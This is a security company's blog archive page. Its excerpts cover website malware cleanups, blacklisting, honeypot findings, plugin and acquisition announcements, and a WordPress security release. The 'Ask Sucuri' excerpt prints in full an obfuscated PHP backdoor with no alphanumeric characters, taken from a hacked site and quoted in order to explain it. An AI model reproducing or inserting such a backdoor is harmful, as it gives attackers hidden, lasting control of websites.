Another Fake WordPress Plugin – And Yet Another SPAM Infection!

We clean hundreds and thousands of infected websites, a lot of the cleanups can be considered to be somewhat “routine”. If you follow our blog, you often hear us say we’ve seen “this” numerous times, we’ve cleaned “that” numerous times.

In most cases when dealing with infected websites, we know where to look and what to remove, generally with a quick look we can determine what’s going. Despite our experience and passion for cleaning up a hacked website, there are always surprises lurking and waiting for us, almost every day.

Some of the most interesting routine cases we deal with are often websites with SPAM. SPAM is in the database, or the whole block of SPAM code is stored in some obscure file. We also deal with cases where the SPAM is loaded within the theme or template header, footer, index, etc. Sometimes these SPAM infections are conditional (e.g. They only appear once per IP), sometimes not.

More often than not however, these infections is not too difficult to identify and remove. In the case we’re writing about in this post, we were able not only to remove malware, but also take a look at what’s going on behind the curtain.

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Understanding Google’s Blacklist – Cleaning Your Hacked Website and Removing From Blacklist

Today we found an interesting case where Google was blacklisting a client’s site but not sharing the reason why. The fact they were sharing very little info should not be new, but what we found as we dove a little deeper should be. The idea is to provide you webmasters with the required insight to understand what is going on, and how to troubleshoot things when your website is blacklisted.

Get Your Bearing

While investigating the website, we found that some Google shortened URLs were being loaded and redirecting to http://bls.pw/. Two of the goo.gl links were pointing to Wikipedia images, their icon to be specific, and one was redirecting to http://bls.pw/ shortener.

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Case Study: Analyzing a WordPress Attack – Dissecting the webr00t cgi shell – Part I

November 1st started like any other day on the web. Billions of requests were being shot virtually between servers in safe and not so safe attempts to access information. After months of waiting, finally one of those not so safe request hit one of our honeypots.

We won’t get into the location of the site because it really doesn’t matter, a fact that most critics don’t realize. As is often the case, the honeypot site was quiet without much traffic and the weakness was access control.

We intentionally left the password to the site to one of the top 10 passwords, with continuous attempts it took about 3 months before it was accessed.

This time though we were ready and this is how it went..

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Blackhat SEO and ASP Sites

It’s all too easy to scream and holler at PHP based websites and the various malware variants associate with the technology, but perhaps we’re a bit too biased.

Here is a quick post on ASP variant. Thought we’d give you Microsoft types some love too.

Today we found this nice BlackHat SEO attack:

Sucuri SiteCheck ASP Malware

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Cleaning Up Your WordPress Site with the Free Sucuri Plugin

If your site has been recently hacked and you are trying to clean it up yourself, we recommend that you use SiteCheck Malware Scanner, our Free WordPress plugin to help you during that task.

The plugin has a collection of useful tools that can guide you along the way. The steps provided here are not final, and there are some variations that require more work, but by just following these steps, you will get very far. We will also not rely on any specific signature or malware strings, since those can easily be evaded by the clever bad guys.

As always, if you need professional help, the Sucuri team is here for you.


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Sucuri CloudProxy WAF Plugin for WordPress

If you are using our CloudProxy WAF to protect your WordPress websites, we highly recommend that you also install our new CloudProxy plugin for WordPress. It has been public for a few weeks, and now we feel it is ready for production use, hence the announcement. :)

sucuri-cloudproxy-wordpress-waf-plugin

You can download the plugin from WordPress Plugin Directory, or directly in your WordPress wp-admin panel by searching for CloudProxy from the “Add New Plugin” page.

The Sucuri CloudProxy WAF plugin is free from the WordPress repository, and allows direct access to your CloudProxy dashboard from within your WordPress wp-admin panel. It allows you to see your audit logs and security events, clear caching, and overall easier management of your CloudProxy account without the need to login to Sucuri.net.


Note:The CloudProxy plugin doesn’t add any additional security measures beyond what’s offered in the CloudProxy service. The plugin is not required for CloudProxy use.

*ps: if you are not using CloudProxy, you should. Go check out CloudProxy today!

Sucuri Expands Research Efforts with Acquisition of Unmask Parasites

Our goal at Sucuri is to be the best website security company of today and in the future.

To help build on our existing research efforts, and to expand our ability to scan websites and detect malware, we are very excited to announce the acquisition of Unmask Parasites.

Unmask Parasites is an online website security service that helps detect illicit content that hackers insert into benign web pages using various security holes. This acquisition is well aligned with our vision and commitment to offer the best website security services and products available today, and in the future.

We are also very pleased to announce that along with the acquisition, we have retained the services of Denis Sinegubko, founder of Unmask Parasites; Denis will be joining our research team.

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Ask Sucuri: Non-alphanumeric Backdoors

If you have any questions about malware, blacklisting, or security in general, send them to contact@sucuri.net and we will write a post about it and share. For all the “Ask Sucuri” answers, go here.


Question: My site got hacked and I am seeing this backdoor with no alpha numeric characters. What is it doing?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__< <$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$  $_[$__+ $__] ;$_[@-_]($_[@!+_] ); 

Answer: Backdoors are tools used by attackers to help them maintain access to the sites they compromise. The harder it is to find the backdoor, the better for the attackers, since it will likely remain undetected allowing them to reinfect or regain access to the site whenever they want.

This backdoor is a very good example of a sneaky one. No alpha numeric characters, no direct function calls or anything like that. So what is it doing? We asked one of our developers, Yorman Arias, to help decode it.


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WordPress 3.6.1 Released – Includes Security Fixes

The WordPress team just pushed out a new version of WordPress. WordPress 3.6.1 is a maintenance release that includes some security bug fixes. Straight from their release post, these are the security changes:

  1. Block unsafe PHP unserialization that could occur in limited situations and setups, which can lead to remote code execution. Reported by Tom Van Goethem.
  2. Prevent a user with an Author role, using a specially crafted request, from being able to create a post “written by” another user. Reported by Anakorn Kyavatanakij.
  3. Fix insufficient input validation that could result in redirecting or leading a user to another website. Reported by Dave Cummo, a Northrup Grumman subcontractor for the U.S. Centers for Disease Control and Prevention.

We asked WordPress Lead Developer, Andrew Nacin for a bit of clarity around the author role issue that was fixed, here’s what Andrew said:

A user can reassign the authorship of a post to another user, even when they are not allowed to do so. (For example, the user is an Author and not an Editor.) The user must already be allowed to edit content — and specifically edit that post. They also then lose the ability to edit that post, but this “forging” could still cause a compromised account or malicious user to post as another user.

In closing the conversation with Andrew, he remarked that WordPress is not vulnerable to the remote code execution issue by default:

I’ll emphasize that WordPress is *NOT* exploitable to the RCE out of the box, despite it being a doozy. It requires a vulnerable object (which core does not have), as well as a vulnerable character set. It is a “perfect storm” vulnerability.


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Security Archive – Case Study: phpbb.com Compromised

Security Archive: It is important to remember past security incidents to make sure we don’t commit the same mistakes over and over again. The idea is to learn from our mistakes.

You can read other case studies from our security archive here:

Jan 31st, 2009: The website for the popular open source bulletin board, phpbb.com, was compromised and the user list was posted online. That was scary news for anyone using phpBB as they were unsure what was going on. If we are not mistaken (it has been a few years), phpbb.com was actually offline for many days while their team investigated the issue.

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